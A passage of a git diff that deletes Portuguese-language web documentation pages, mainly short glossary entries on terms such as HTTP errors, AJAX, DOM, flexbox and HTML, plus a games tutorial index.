After that, you can pick any framework you like and use it for your projects; we've chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. However, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework doesn't provide, you'll need some pure JavaScript knowledge.

- -
-

Note: This series of articles can be used as material for hands-on game development workshops. You can also make use of the Gamedev Phaser Content Kit based on this tutorial if you want to give a talk about game development with Phaser.

-
- -

Next steps

- -

Ok, let's get started! Head to the first part of the series — Initialize the framework.

- -

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

diff --git a/files/pt-pt/games/tutorials/index.html b/files/pt-pt/games/tutorials/index.html deleted file mode 100644 index bf6285b9cb..0000000000 --- a/files/pt-pt/games/tutorials/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Tutoriais -slug: Games/Tutorials -tags: - - Canvas - - JavaScript - - Jogos - - Ritmos de Trabalho - - Web -translation_of: Games/Tutorials -original_slug: Jogos/Tutoriais ---- -
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
- -

This page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.

- -
-
2D breakout game using pure JavaScript
-
In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
-
2D breakout game using Phaser
-
In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thePhaser HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.
-
2D maze game with device orientation
-
This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the Device Orientation and Vibration APIs to enhance the gameplay and is built using the Phaser framework.
-
2D platform game with Phaser
-
This tutorial series shows how to create a simple platform game using Phaser, covering fundamentals such as sprites, collisions, physics, collectables, and more.
-
diff --git a/files/pt-pt/glossary/404/index.html b/files/pt-pt/glossary/404/index.html deleted file mode 100644 index b91d747d61..0000000000 --- a/files/pt-pt/glossary/404/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: '404' -slug: Glossary/404 -tags: - - Erros HTTP - - Glossário - - Infraestrutura - - Navegação -translation_of: Glossary/404 -original_slug: Glossário/404 ---- -

O 404 é um código de resposta padrão que significa que o {{Glossary("Server", "servidor")}} não consegue encontrar o recurso solicitado.

- -

Saiba mais

- - diff --git a/files/pt-pt/glossary/502/index.html b/files/pt-pt/glossary/502/index.html deleted file mode 100644 index f18df6cf19..0000000000 --- a/files/pt-pt/glossary/502/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: '502' -slug: Glossary/502 -tags: - - '502' - - Bad Gateway - - Errors HTTP - - Glossário - - Infraestrutura - - Navegação -translation_of: Glossary/502 -original_slug: Glossário/502 ---- -

Um erro {{Glossary("HTTP")}} significando "Bad Gateway".

- -

Um {{Glossary("Server", "servidor")}} pode agir como um gateway ou proxy (intermediário) entre um cliente (como o seu navegador da Web) e outro, servidor a montante. Quando  faz um pedido de acesso a uma {{Glossary("URL")}}, um servidor gateway pode transmitir o teu pedido ao servidor a montante. "502" significa que o servidor a montante devolveu uma resposta invalida.

- -

Tipicamente o servidor a montante não estará avariado (i.e. não devolve resposta ao  gateway / proxy), mas meramente não entende o protocolo de troca de dados da mesma forma que o servidor gateway / proxy. {{Glossary("Protocol", "Protocolos")}} da internet são bastante explícitos, e então um 502 deve ser sinal que um ou ambos os servidores estão incorretamente programados.

- -

Aprenda mais

- - diff --git a/files/pt-pt/glossary/accessibility/index.html b/files/pt-pt/glossary/accessibility/index.html deleted file mode 100644 index d9b4a45827..0000000000 --- a/files/pt-pt/glossary/accessibility/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Acessibilidade -slug: Glossary/Accessibility -tags: - - Acessibilidade - - Glossário -translation_of: Glossary/Accessibility -original_slug: Glossário/Acessibilidade ---- -

A Acessibilidade da Web (A11Y)refere-se às melhores práticas para manter um site da Web utilizável, apesar das restrições físicas e técnicas. A acessibilidade da Web é formalmente definida e discutida no {{Glossary("W3C")}} através de {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).

- -

Saber mais

- -

Conhecimento geral

- - - -

Aprender sobre a acessibilidade da Web

- - - -

Referência técnica

- - diff --git a/files/pt-pt/glossary/ajax/index.html b/files/pt-pt/glossary/ajax/index.html deleted file mode 100644 index 9f5e77c3b8..0000000000 --- a/files/pt-pt/glossary/ajax/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Ajax -slug: Glossary/AJAX -tags: - - AJAX - - CodingScripting - - Glossário - - I10n:priority - - Infraestrutura -translation_of: Glossary/AJAX -original_slug: Glossário/AJAX ---- -

Ajax, que inicialmente significava Asynchronous JavaScript And XML (em português {{Glossary("JavaScript")}} e {{Glossary("XML")}} Assíncrono), é uma prática de programação de construção de páginas web complexas e dinâmicas utilizando uma tecnologia conhecida como {{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}.

- -

Ajax permite actualizar partes do {{Glossary("DOM")}} de uma página {{Glossary("HTML")}} sem a necessidade de uma actualização completa da página. Ajax também lhe permite trabalhar de forma assíncrona, o que significa que o seu código continua a correr enquanto a parte alvo da sua página web está a tentar recarregar (em comparação a trabalhar de forma síncrona, que impede o código de executar até que essa parte da sua página seja recarregada).

- -

Com sites interactivos e padrões web modernos, o Ajax está gradualmente a ser substituído por funções dentro de frameworks JavaScript e do {{domxref("Fetch API")}} Standard oficial.

- - diff --git a/files/pt-pt/glossary/api/index.html b/files/pt-pt/glossary/api/index.html deleted file mode 100644 index 06f5d84a1b..0000000000 --- a/files/pt-pt/glossary/api/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: API -slug: Glossary/API ---- -
-

API

-
- -
-

Em programação de computador, interface de programação de aplicação (API) é um conjunto de definições de rotina, protocolos, e ferramentas para a criação de software e aplicações.

-
diff --git a/files/pt-pt/glossary/argument/index.html b/files/pt-pt/glossary/argument/index.html deleted file mode 100644 index f4d102588f..0000000000 --- a/files/pt-pt/glossary/argument/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Argumento -slug: Glossary/Argument -tags: - - CodingScripting - - Glossary - - Glossário - - JavaScript -translation_of: Glossary/Argument -original_slug: Glossário/Argumento ---- -

Um argument é um {{glossary("value","valor")}} ({{Glossary("primitive","primitivo")}} ou {{Glossary("object","objeto")}}) passado como entrada para uma {{Glossary("function","função")}}.

- -

Saber mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "Parameter_(computer_programming)", "Diferença entre Parâmetro e Argumento")}} na Wikipédia
  • -
- -

Referência técnica

- -
    -
  • O objeto {{jsxref("Functions/arguments","arguments")}} no {{glossary("JavaScript")}}
  • -
diff --git a/files/pt-pt/glossary/aria/index.html b/files/pt-pt/glossary/aria/index.html deleted file mode 100644 index ae453a4bd7..0000000000 --- a/files/pt-pt/glossary/aria/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: ARIA -slug: Glossary/ARIA -tags: - - Acessibilidade - - Glossário -translation_of: Glossary/ARIA -original_slug: Glossário/ARIA ---- -

ARIA (Accessible Rich {{glossary("Internet")}} Applications) é uma especificação da {{Glossary("W3C")}} para adicionar semântica e outros metadados ao {{Glossary("HTML")}} para atender usuários de tecnologia assistiva.

- -

Por exemplo, você pode adicionar o atributo role="alert" ao {{glossary("tag")}} {{HTMLElement("p")}} para notificar um usário com dificuldades de visão que as informações são importantes e sensíveis ao tempo (que você pode transmitir através da cor do texto).

- -

Consulte também

- - diff --git a/files/pt-pt/glossary/bigint/index.html b/files/pt-pt/glossary/bigint/index.html deleted file mode 100644 index 0fb083825f..0000000000 --- a/files/pt-pt/glossary/bigint/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: BigInt -slug: Glossary/BigInt -tags: - - BigInt - - Formato de Precisão Arbitrária - - Glossário - - JavaScript - - Referencia -translation_of: Glossary/BigInt -original_slug: Glossário/BigInt ---- -

Em {{Glossary("JavaScript")}}, BigInt é um tipo de dados numéricos que pode representar inteiros num {{interwiki("wikipedia", "Bignum", "formato de precisão arbitrária")}}. Em outras linguagens de programação podem existir diferentes tipos de dados numéricos, por exemplo: Inteiros, Flutuadores, Duplos, ou Bignums.

diff --git a/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html b/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html deleted file mode 100644 index a4e8945e2f..0000000000 --- a/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Modo de operação de cifra de bloco -slug: Glossary/Block_cipher_mode_of_operation -tags: - - Criptografía - - Glossário - - Modo de operação de cifra de bloco - - Segurança -translation_of: Glossary/Block_cipher_mode_of_operation -original_slug: Glossário/Modo_de_operação_de_cifra_de_bloco ---- -

Um modo de operação de cifra de bloco, especifica como uma cifra de bloco deve ser usado para encriptar e decrepitar mensagens que são maiores que o bloco.

- -

A maioria de algoritmos de chave simétrica atualmente em uso são cifras de bloco; isto significa que encriptam dados em bloco. O tamanho de cada bloco é fixo e determinado pelo algoritmo; por exemplo, a cifra AES usa blocos de 16-bytes. Cifras de bloco são sempre utilizadas com um modo de operação, que especifica como encriptar mensagens maiores que um bloco. CTR, CBC, e GCM são exemplos de modos de operação que podem ser usados, mas usar um modo de operação incorretamente pode desfazer a segurança criada pela própria cifra.

diff --git a/files/pt-pt/glossary/boolean/index.html b/files/pt-pt/glossary/boolean/index.html deleted file mode 100644 index 503ac36e8c..0000000000 --- a/files/pt-pt/glossary/boolean/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Booliano -slug: Glossary/Boolean -tags: - - Booleano - - Booliano - - Glossário - - JavaScript - - Linguagens de Programação - - Progração Scripting - - tipos de dados -translation_of: Glossary/Boolean -original_slug: Glossário/booliano ---- -

Na informática, um booliano é um tipo de dados lógico que pode ter apenas os valores verdadeiro ou falso. Por exemplo, em JavaScript, as condicionais de boolianos são frequentemente utilizadas ​​para decidir quais as secções de código a serem executadas (tal como em declarações if) ou repetir (tal como repetições for).

- -
/* JavaScript if statement */
-if (boolean conditional) {
-   // code to execute if the conditional is true
-}
-
-if (boolean conditional) {
-  console.log("boolean conditional resolved to true");
-} else {
-  console.log("boolean conditional resolved to false");
-}
-
-
-/* JavaScript for loop */
-for (control variable; boolean conditional; counter) {
-  // code to execute repeatedly if the conditional is true
-}
-
-for (var i=0; i < 4; i++) {
-  console.log("I print only when the boolean conditional is true");
-}
-
- -

Saiba mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "Booleano", "Booleano")}} on Wikipedia
  • -
- -

Referência técnica

- - diff --git a/files/pt-pt/glossary/browser/index.html b/files/pt-pt/glossary/browser/index.html deleted file mode 100644 index b9f427dd05..0000000000 --- a/files/pt-pt/glossary/browser/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Navegador -slug: Glossary/Browser -tags: - - Glossário - - Navegação -translation_of: Glossary/Browser -original_slug: Glossário/Navegador ---- -

Um navegador da Web é um programa que obtém e exibe páginas a partir da {{Glossary("World Wide Web","Web")}}, e deixa os utilziadores acerem a mais páginas através de {{Glossary("hyperlink","hiperligações")}}.

- -

Saiba mais

- -

Conhecimento geral

- - - -

Transferir um navageador

- - - -
- - - - - -
diff --git a/files/pt-pt/glossary/cache/index.html b/files/pt-pt/glossary/cache/index.html deleted file mode 100644 index 91eb49d39e..0000000000 --- a/files/pt-pt/glossary/cache/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Cache -slug: Glossary/Cache -tags: - - Glossário - - HTTP -translation_of: Glossary/Cache -original_slug: Glossário/Cache ---- -

Um cache (web cache or cache HTTP) é um componente que armazena respostas HTTP temporariamente para que para que possa ser utilizado para pedidos HTTP subesequentes, desde que cumpra determinadas condições.

- -

Saiba Mais

- -

Conhecimento geral

- -
    -
  • {{interwiki("wikipedia", "Web cache")}} no Wikipedia
  • -
diff --git a/files/pt-pt/glossary/cia/index.html b/files/pt-pt/glossary/cia/index.html deleted file mode 100644 index ba97dca690..0000000000 --- a/files/pt-pt/glossary/cia/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: CIA -slug: Glossary/CIA -tags: - - Glossário - - Segurança -translation_of: Glossary/CIA -original_slug: Glossário/CIA ---- -

A CIA (Confidentiality, Integrity, Availability) (em português Confidencialidade, Integridade, Disponibilidade), também chamada a tríade CIA ou a tríade AIC, é um modelo que orienta as políticas de segurança da informação de uma organização.

- -

Saiba mais

- -

Conhecimento Geral

- -
    -
  • {{Interwiki("wikipedia", "Segurança_da_informação#Conceitos_de_segurança", "CIA")}} on Wikipedia
  • -
diff --git a/files/pt-pt/glossary/compile/index.html b/files/pt-pt/glossary/compile/index.html deleted file mode 100644 index 8448a81270..0000000000 --- a/files/pt-pt/glossary/compile/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Compilar -slug: Glossary/Compile -tags: - - CodingScripting - - Glossário -translation_of: Glossary/Compile -original_slug: Glossário/Compilar ---- -

Compilar é o processo de transformar um programa de computador em uma determinada linguagem de programação para o mesmo programa escrito em outro idioma (normalmente um idioma binário que o computador pode executar).

- -

Saiba mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "Compiler")}} na Wikipédia
  • -
- -

Recursos de aprendizagem

- - - -
- - - - - -
diff --git a/files/pt-pt/glossary/crlf/index.html b/files/pt-pt/glossary/crlf/index.html deleted file mode 100644 index 76de0cb1e8..0000000000 --- a/files/pt-pt/glossary/crlf/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: CRLF -slug: Glossary/CRLF -tags: - - CR - - CRLF - - Glossário - - Infraestrutura - - LF - - Nova Linha - - carriage return -translation_of: Glossary/CRLF -original_slug: Glossário/CRLF ---- -

CR e LF são caracteres de controlo ou {{interwiki("wikipedia", "bytecode")}} que podem ser utilizados para marcar uma quebra de linha num ficheiro de texto.

- -
    -
  • CR = Carriage Return (\r, 0x0D em hexadecimal, 13 em decimal) — move o cursor para o início da linha, sem avançar para a linha seguinte.
  • -
  • LF = Line Feed (\n, 0x0A em hexadecimal, 10 em decimal) — move o cursor para a próxima linha, sem regressar ao início da linha.
  • -
- -

O CR imediatamente seguido por um LF (CRLF, \r\n, ou 0x0D0A) move o cursor para baixo até à linha seguinte e depois para o início da linha.

- -

Saiba mais

- -

Conhecimento Geral

- -
    -
  • {{interwiki("wikipedia", "Nova_linha", "Nova linha")}} na Wikipedia
  • -
diff --git a/files/pt-pt/glossary/cross_axis/index.html b/files/pt-pt/glossary/cross_axis/index.html deleted file mode 100644 index 2882ed5be8..0000000000 --- a/files/pt-pt/glossary/cross_axis/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Eixo transversal -slug: Glossary/Cross_Axis -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Cross_Axis -original_slug: Glossário/Eixo_transversal ---- -

Numa {{glossary("flexbox")}}, ou eixo transveral é perpendicular ao {{glossary("main axis")}}, o que significa que se a direção for ao longo de uma linha (ou seja, {{cssxref("flex-direction")}} é row ou row-reverse) então o eixo transversal estende-se ao longo das colunas.

- -

The cross axis runs down the column

- -

Se por outro lado a direção for ao longo das colunas ({{cssxref("flex-direction")}} é column or column-reverse) então este eixo estende-se ao longo das linhas.

- -

The cross axis runs along the row.

- -

Alinhamento de elementos no eixo transversal faz-se com a propriedade align-items no contentor flexível ou com a propriedade align-self em elementos individuais. No caso de um contentor com várias linhas, que tenha espaço adicional no eixo transversal, pode-se utilizar align-content para controlar o espaçamento das linhas.

- -

Aprender mais

- -

Referência de propriedades

- -
-
    -
  • {{cssxref("align-content")}}
  • -
  • {{cssxref("align-items")}}
  • -
  • {{cssxref("align-self")}}
  • -
  • {{cssxref("flex-wrap")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex")}}
  • -
-
- -

Aprofundar

- - - - diff --git a/files/pt-pt/glossary/crud/index.html b/files/pt-pt/glossary/crud/index.html deleted file mode 100644 index 60d0b0bf08..0000000000 --- a/files/pt-pt/glossary/crud/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: CRUD -slug: Glossary/CRUD -tags: - - Glossário - - Infraestrutura -translation_of: Glossary/CRUD -original_slug: Glossário/CRUD ---- -

CRUD (Create, Read, Update, Delete) (em português criação, consulta, atualização e destruição) é um acrónimo para as formas como se pode operar com dados armazenados. É uma mnemónica para as quatro funções básicas de armazenamento persistente.  CRUD refere-se normalmente a operações realizadas numa base de dados ou datastore, mas pode também aplicar-se a funções de nível superior de uma aplicação, tais como soft delete, onde os dados não são realmente apagados, mas marcados como apagados.

- -

Saiba mais

- -

Geral Conhecimento

- -
    -
  • {{Interwiki("wikipedia", "CRUD")}} on Wikipedia
  • -
diff --git a/files/pt-pt/glossary/dhtml/index.html b/files/pt-pt/glossary/dhtml/index.html deleted file mode 100644 index ef3f833b39..0000000000 --- a/files/pt-pt/glossary/dhtml/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: DHTML -slug: Glossary/DHTML -tags: - - DHTML - - Todas_as_Categorias -translation_of: Glossary/DHTML -original_slug: DHTML ---- -

DHTML é uma sigla que signfica "dynamic HTML". O termo DHTML é geralmente usado como referência ao código que se encontra por detrás de páginas interactivas que não são baseadas em plugins como Flash ou Java. O termo reúne a funcionalidade combinada que é disponibilizada aos programadores usando HTML, CSS, Document Object Model e JavaScript

diff --git a/files/pt-pt/glossary/dom/index.html b/files/pt-pt/glossary/dom/index.html deleted file mode 100644 index 7f3233b76c..0000000000 --- a/files/pt-pt/glossary/dom/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: DOM (Modelo de Objeto de Documento) -slug: Glossary/DOM -tags: - - CodingScripting - - DOM - - Glossário -translation_of: Glossary/DOM -original_slug: Glossário/DOM ---- -

O DOM (Modelo de Objeto de Documento) é uma {{Glossary("API")}} que representa e interage com qualquer documento de {{Glossary("HTML")}} ou {{Glossary("XML")}}. O DOM é um modelo de documento carregado no {{glossary("navegador")}} e representando o documento como uma árvore de nodo, onde cada nodo representa parte do documento (por exemplo, um  {{Glossary("elemento")}}, string de texto, ou comentário) .

- -

DOM é uma das {{Glossary("API")}}s mais utilizadas na {{Glossary("World Wide Web","Web")}} porque este permite que cada código em execução num navegador aceda e interaja com cada nodo no documento. Os nodos podem ser criados, movidos e alterados. Listeners de evento podem ser adicionados aos nodos e ativados com a ocorrência de um dado evento.

- -

DOM não foi originalmente especificado -- este apareceu quando os navegadores começaram a implementar o {{Glossary("JavaScript")}}. Este DOM legado é às vezes chamado de DOM 0. Hoje, o WHATWG mantém o Padrão de Especificação DOM.

- -

Saber mais

- -

Conhecimentos Gerais

- -
    -
  • {{interwiki("wikipedia", "Modelo de Objeto de Documentos", "DOM")}}
  • -
- -

Informação técnica

- - diff --git a/files/pt-pt/glossary/ecma/index.html b/files/pt-pt/glossary/ecma/index.html deleted file mode 100644 index ca2061a59e..0000000000 --- a/files/pt-pt/glossary/ecma/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: ECMA -slug: Glossary/ECMA -tags: - - Glossário - - Mecanismos Web -translation_of: Glossary/ECMA -original_slug: Glossário/ECMA ---- -

Ecma International (oficialmente Associação Européia dos Fabricantes de Computadores) é uma organização sem fins lucrativos que desenvolve os padrões para hardware de computadores, comunicações e linguagens de programação.

- -

Na web ela é famosa por ser a organização que mantém a especificação ECMA-262 (também conhecida por {{Glossary("ECMAScript")}}), que é a especificação núcleo para a linguagem {{Glossary("JavaScript")}}.

- -

Aprenda mais

- - diff --git a/files/pt-pt/glossary/element/index.html b/files/pt-pt/glossary/element/index.html deleted file mode 100644 index 99cf652e10..0000000000 --- a/files/pt-pt/glossary/element/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Elemento -slug: Glossary/Element -tags: - - CodingScripting - - Glossário - - HTML -translation_of: Glossary/Element -original_slug: Glossário/Elemento ---- -

Um elemento faz parte de uma página da Web. Em XML e HTML, um elemento pode conter um item de dados ou parte de texto ou uma imagem, ou talvez nada. Um elemento típico inclui uma tag de abertura com alguns atributos, conteúdo de texto fechado e uma tag de fecho.Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

- -

Elementos e tags não são a mesma coisa. Tags começam e terminam um elemento no código fonte, onde os elementos são parte de {{Glossary("DOM")}}, o documento modelo para exibir a página no {{glossary("browser","navegador")}}.

- -

Consultar também

- - diff --git a/files/pt-pt/glossary/engine/index.html b/files/pt-pt/glossary/engine/index.html deleted file mode 100644 index 693e42cbe4..0000000000 --- a/files/pt-pt/glossary/engine/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Motor -slug: Glossary/Engine -tags: - - Codificação - - Glossário - - Precisa de Conteúdo -translation_of: Glossary/Engine -original_slug: Glossário/Motor ---- -

O motor de {{glossary("JavaScript")}} é um interpretador que analisa e executa um programa JavaScript.

- -

Saber mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "JavaScript engine")}} on Wikipedia
  • -
diff --git a/files/pt-pt/glossary/entity_header/index.html b/files/pt-pt/glossary/entity_header/index.html deleted file mode 100644 index b3847c5b9f..0000000000 --- a/files/pt-pt/glossary/entity_header/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Cabeçalho de entidade -slug: Glossary/Entity_header -tags: - - Glossário - - WebMechanics -translation_of: Glossary/Entity_header -original_slug: Glossário/Cabeçalho_de_entidade ---- -

Um cabeçalho de entidade é um {{glossary("header", "cabeçalho de HTTP")}} que descreve o conteúdo do corpo da mensagem. Cabeçalhos de entidade são usados em pedidos e respostas de HTTP. Cabeçalhos como {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} são cabeçalhos de entidade.

- -

Mesmo que os cabeçalhos das entidades não sejam cabeçalhos de pedido ou de resposta, eles são frequentemente incluídos com estes termos.

- -

No seguinte exemplo, {{HTTPHeader("Content-Length")}} é um cabeçalho de entidade, enquanto {{HTTPHeader("Host")}} e {{HTTPHeader("User-Agent")}} são {{glossary("request header", "cabeçalhos de pedido")}}:

- -
POST /myform.html HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Content-Length: 128
- -

Aprender mais

- -

Conhecimento técnico

- - diff --git a/files/pt-pt/glossary/favicon/index.html b/files/pt-pt/glossary/favicon/index.html deleted file mode 100644 index b7bb4feec2..0000000000 --- a/files/pt-pt/glossary/favicon/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Favicon -slug: Glossary/Favicon -tags: - - Glossário - - Intro - - favicon -translation_of: Glossary/Favicon -original_slug: Glossário/Favicon ---- -

Um favicon (do inglês: favorite icon) é um pequeno ícone que acompanha o website, que é visualizado na barra do endereço, guia de páginas e no menu de favoritos. Note, no entanto, que a maior parte dos navegadores modernos substituíram o favicon na barra de endereço por uma imagem, indicando se o site utiliza {{Glossary("https","HTTPS")}}.

- -

Geralmente, um favicon tem o tamanho de 16 x 16 píxeis, nos formatos {{Glossary("GIF")}}, {{Glossary("PNG")}} ou no formato ICO.

- -

São utilizados para melhorar a experiência do utilizador e reforçar a consistência da marca. Quando um ícone familiar é visto, por exemplo, na barra de endereço, ajuda o utilizador a saber que se encontra no lugar certo.

- -

Saiba mais

- -

Conhecimento geral

- -
    -
  • {{interwiki("Wikipedia", "Favicon", "Favicon")}} no Wikipedia
  • -
- -

Saiba mais sobre isso

- - diff --git a/files/pt-pt/glossary/flexbox/index.html b/files/pt-pt/glossary/flexbox/index.html deleted file mode 100644 index 6949c35908..0000000000 --- a/files/pt-pt/glossary/flexbox/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Flexbox -slug: Glossary/Flexbox -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Flexbox -original_slug: Glossário/Flexbox ---- -

Flexbox é o nome geralmente dado ao Módulo de Layout em Caixa Flexível do CSS (CSS Flexible Box Layout Module), um modelo de layout com o propósito de alinhar elementos numa determinada direção — ao longo de uma linha ou de uma coluna.

- -

Na sua especificação, Flexbox é descrito como um modelo de layout para desenho da interface do utilizador. A principal funcionalidade do Flexbox é o facto de os elementos do layout poderem encolher ou crescer. Pode-se especificar quanto espaço cada elemento ocupa ou quanto espaço deve haver entre elementos.

- -

Flexbox permite alinhamento de elementos no eixo principal ou no eixo transversal, e assim permite grande controlo sobre o tamanho e alinhamento de um grupo de elementos.

- -

Aprender mais

- -

Referência das propriedades

- -
-
    -
  • {{cssxref("align-content")}}
  • -
  • {{cssxref("align-items")}}
  • -
  • {{cssxref("align-self")}}
  • -
  • {{cssxref("flex")}}
  • -
  • {{cssxref("flex-basis")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex-flow")}}
  • -
  • {{cssxref("flex-grow")}}
  • -
  • {{cssxref("flex-shrink")}}
  • -
  • {{cssxref("flex-wrap")}}
  • -
  • {{cssxref("justify-content")}}
  • -
  • {{cssxref("order")}}
  • -
-
- -

Aprofundar

- - - - diff --git a/files/pt-pt/glossary/git/index.html b/files/pt-pt/glossary/git/index.html deleted file mode 100644 index 6d409b8d1f..0000000000 --- a/files/pt-pt/glossary/git/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Git -slug: Glossary/Git -tags: - - Colaboração - - Glossário -translation_of: Glossary/Git -original_slug: Glossário/Git ---- -

Git é um sistema gratuito, de fonte aberta e distribuído de gestão do código fonte ({{Glossary("SCM", "GCS")}}). Facilita a gestão de bases de código com equipas de desenvolvimento distribuídas. O que o distingue dos sistemas SCM anteriores é a capacidade de fazer operações comuns (criar uma branch, fazer um commit, etc.) na sua máquina de desenvolvimento local, sem ter de alterar o repositório principal ou mesmo ter acesso de escrita a ele.

- -

Saiba mais

- -

Conhecimento Geral

- - diff --git a/files/pt-pt/glossary/gzip_compression/index.html b/files/pt-pt/glossary/gzip_compression/index.html deleted file mode 100644 index 02a5ff637a..0000000000 --- a/files/pt-pt/glossary/gzip_compression/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Compressão GZip -slug: Glossary/GZip_compression -tags: - - Glossário - - compressão - - gzip -translation_of: Glossary/GZip_compression -original_slug: Glossário/Compressao_GZip ---- -

gzip é um algoritmo de compressão que permite reduzir o tamanho dos ficheiros, permitindo transferências mais rápidas na rede. É normalmente suportado pelos servidores da Web e navegadores modernos, o que significa que os servidores podem comprimir automaticamente os ficheiros com o gzip antes de enviá-los, e os navegadores podem descomprimir os ficheiros depois de os receberem.

- -

Saiba mais

- - diff --git a/files/pt-pt/glossary/html/index.html b/files/pt-pt/glossary/html/index.html deleted file mode 100644 index 8ed02323a0..0000000000 --- a/files/pt-pt/glossary/html/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: HTML -slug: Glossary/HTML -tags: - - Glossário - - HTML - - Programação Scripting - - l10n:priority -translation_of: Glossary/HTML -original_slug: Glossário/HTML ---- -
{{QuickLinksWithSubpages("/pt-PT/docs/Glossário")}}
- -

HTML (Linguagem de Marcação de Hipertexto) é uma linguagem descritiva que especifica a estrutura da página da Web.

- -

Breve história

- -

Em 1990, como parte da sua visão da {{glossary("World Wide Web","Web")}}, Tim Berners-Lee definiu o conceito de {{glossary("hypertext")}}, que Berners-Lee formalizou o ano seguinte através de uma marcação com base principalmente em {{glossary("SGML")}}. O {{glossary("IETF")}} começou a especificar formalmente o HTML em 1993 e depois de vários rascunhos lançaram a versão 2.0 em 1995. Em 1994, Berners-Lee fundou {{glossary("W3C")}} para desenvolver a Web. Em 1996, W3C assumiu o trabalho em HTML e publicou a recomendação HTML 3.2 um ano depois. O HTML 4.0 foi lançado em 1999 e tornou-se um padrão {{glossary("ISO")}} em 2000 .

- -

Naquela época, o W3C quase abandonou HTML em favor de {{glossary("XHTML")}}, levando à fundação de um grupo independente chamado de {{glossary("WHATWG")}} em 2004. Devido a WHATWG, o trabalho em {{glossary("HTML5")}} continuou: as duas organizações lançaram o primeiro rascunho em 2008 e o padrão final em 2014 .

- -

Conceito e sintaxe

- -

Um documento HTML é um documento de texto simples estruturado com {{glossary("element","elementos")}}. Os elementos estão rodeados por {{Glossary("tag","etiquetas")}} correspondentes de abertura e fecho. Cada etiqueta começa e termina com parêntesis angulares (<>). Existem algumas etiquetas vazias ou sem validade que não podem incluir qualquer texto, por exemplo {{htmlelement("img")}}.

- -

Pode estender tags HTML com {{Glossary("attribute","atributos")}}, que fornecem informação adicional, afetando o modo como o navegador interpreta o elemento:

- -

Detail of the structure of an HTML element

- -

Um ficheiro HTML é normalmente guardado com uma extensão .htm ou .html, servida por um {{Glossary("Server","Servidor da Web")}}, e pode ser renderizado por qualquer {{Glossary("Browser","navegador da Web")}}.

- -

Saber mais:

- -

Conhecimento geral

- -
    -
  • {{interwiki("wikipedia", "HTML", "HTML")}} na Wikipédia
  • -
- -

Aprender HTML

- - - -

Referência técnica

- - diff --git a/files/pt-pt/glossary/hypertext/index.html b/files/pt-pt/glossary/hypertext/index.html deleted file mode 100644 index a9c35ead9a..0000000000 --- a/files/pt-pt/glossary/hypertext/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Hipertexto -slug: Glossary/Hypertext -tags: - - Glossário - - Mecânica da Web - - Web -translation_of: Glossary/Hypertext -original_slug: Glossário/Hipertexto ---- -
